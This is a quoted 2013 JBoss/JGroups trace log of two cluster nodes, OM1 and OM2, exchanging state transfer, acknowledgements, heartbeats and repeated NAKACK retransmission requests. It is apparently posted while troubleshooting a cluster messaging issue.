> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-6,null) OM1:1299 <-- ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 <-- DATA(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-5,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM2:1299: #9, conn_id=1)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=9, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63701 handing of to PooledExecutor thread
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63701, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 2 StoredEntries to stream
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=8, rsp_expected=true, UNICAST: DATA, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #8)
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 8
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 8 to OM2:1299
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #10, conn_id=1)
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=8, rsp_expected=false, UNICAST: DATA, seqno=10, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:27,666 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #10)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=9, rsp_expected=true, UNICAST: DATA, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 9
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 9 to OM2:1299
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #11, conn_id=1)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=9, rsp_expected=false, UNICAST: DATA, seqno=11, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-10,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=11, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-10,null) OM1:1299 <-- ACK(OM2:1299: #11)
> 2013-08-30 09:49:32,814 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#8
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#8
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [MFC] (Incoming-9,null) OM1:1299 used 354 credits, 1999646 remaining
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (4 headers), size=1024 bytes, flags=OOB|DONT_BUNDLE], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UFC] (OOB-20,null) OM2:1299 used 1024 credits, 1998976 remaining
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes]
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-12,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (Incoming-12,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [MFC] (Incoming-12,null) OM1:1299 used 1463 credits, 1998183 remaining
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 7 (7)], OM1:1299: [1 : 8 (10)], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#8
> 2013-08-30 09:49:35,544 TRACE [Retransmitter] (OOB-19,null) added range OM2:1299 [7]
> 2013-08-30 09:49:35,544 TRACE [STABLE] (OOB-19,null) OM1:1299: handling digest from OM2:1299 (0 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#8, OM2:1299#7]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:35,856 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,137 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:36,137 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,340 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:36,340 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:36,465 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:36,465 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:37,666 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:37,666 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:38,742 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:38,742 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:40,068 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:40,068 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:43,547 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:43,547 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:44,218 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#9
> 2013-08-30 09:49:44,218 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:44,873 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:44,873 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:45,872 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:45,872 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:46,152 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:46,152 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,149 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#10
> 2013-08-30 09:49:48,149 TRACE [VIEW_SYNC] (OOB-19,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [UDP] (Incoming-6,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:48,352 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:49,678 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:49,678 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== SCANNING
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread scanning
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) Periodic recovery first pass at Fri, 30 Aug 2013 09:49:52
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule first pass
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) processing /StateManager/BasicAction/TwoPhaseCoordinator/AtomicAction transactions
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,673 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,689 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
